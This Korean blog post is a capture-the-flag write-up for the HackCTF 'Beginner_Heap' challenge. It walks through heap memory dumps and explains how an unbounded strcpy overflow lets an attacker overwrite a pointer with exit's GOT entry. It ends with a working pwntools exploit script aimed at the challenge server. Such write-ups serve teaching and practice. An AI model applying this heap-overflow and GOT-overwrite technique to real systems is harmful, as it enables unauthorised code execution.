[HackCTF] Beginner_Heap 풀이 (250p)
Wargame/HackCTF

[HackCTF] Beginner_Heap 풀이 (250p)

 

 

풀이

기말고사 때문에 풀고도 포스팅을 못한 문제들의 풀이를 쭉 적을 것이다.

Arch:     amd64-64-little
RELRO:    Partial RELRO

Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)


2번 입력을 받고 프로그램을 종료한다.


아래 Bold 글씨로 표시한 것만 봐도 코드의 흐름이 어떻게 흘러 가는지 알 수 있을 것이다.

gdb-peda$ x/32x 0x602290 
0x602290:       0x0000000000000000      0x0000000000000021 
0x6022a0:       0x0000000000000001      0x00000000006022c0 
0x6022b0:       0x0000000000000000      0x0000000000000021 
0x6022c0:       0x0000000a41414141      0x0000000000000000 
0x6022d0:       0x0000000000000000      0x0000000000000021 
0x6022e0:       0x0000000000000002      0x0000000000602300 
0x6022f0:       0x0000000000000000      0x0000000000000021 
0x602300:       0x0000000a42424242      0x0000000000000000 
0x602310:       0x0000000000000000      0x0000000000000411 
0x602320:       0x0000000a42424242      0x0000000000000000

 

*v3 = 1, *v3 = 2는 단순히 라벨링 목적으로 넣은 거 같다.

코드의 흐름은 다음과 같다.

 

v3 = malloc(0x10);

v3[0] = 1;

v3[1] = malloc(8);

v4 = malloc(0x10);

v4[0] = 2;

v4[1] = malloc(8);

 

다음 부분이 중요한데, s에 4096칸만큼을 입력받고 strcpy로 v3[1]이 가리키는 곳에 s를 복사한다.

즉, 0x6022c0에 첫 s 값을 넣는 것이다.

두 번째도 마찬가지로 v4[1]이 가리키는 곳에 s를 복사하므로, 0x602300에 두 번째 s 값을 넣는다.


우리는 v4[1]이 가리키는 곳에 값을 복사한다는 점을 이용해 코드의 흐름을 조작할 수 있다(GOT overwrite).

malloc으로 주어진 값은 8칸이지만, 우리는 strcpy를 이용해 4096칸만큼 복사할 수 있다.

즉, 이런 식으로 heap overflow를 일으켜 v4[1]의 주소를 exit@got로 바꿔준다면 다음 strcpy에서 exit@got 위치에 s 값을 복사해 이 문제를 해결할 수 있다. (0x400826 함수를 참고하자.)

 

0x602290:       0x0000000000000000      0x0000000000000021 
0x6022a0:      0x0000000000000001     0x00000000006022c0 
0x6022b0:       0x0000000000000000      0x0000000000000021 
0x6022c0:       0x4141414141414141       0x4141414141414141  
0x6022d0:      0x4141414141414141     0x4141414141414141   
0x6022e0:       0x4141414141414141     exit@got 
0x6022f0:       0x0000000000000000      0x0000000000000021 
0x602300:       0x0000000a42424242     0x0000000000000000 
0x602310:       0x0000000000000000      0x0000000000000411 
0x602320:       0x0000000a42424242      0x0000000000000000


from pwn import *

context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', 3016)
e = ELF('./beginner_heap.bin')

payload = 'A'*40
payload += p64(e.got['exit'])
p.sendline(payload)

payload = p64(0x400826)
p.sendline(payload)
p.interactive()

 

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Gift 풀이 (250p)  (0) 2020.12.28
[HackCTF] Look at me 풀이 (250p)  (0) 2020.12.28
[HackCTF] RTL_Core 풀이 (250p)  (0) 2020.08.24
[HackCTF] Random Key 풀이 (200p)  (0) 2020.08.24
[HackCTF] 1996 풀이 (200p)  (0) 2020.08.23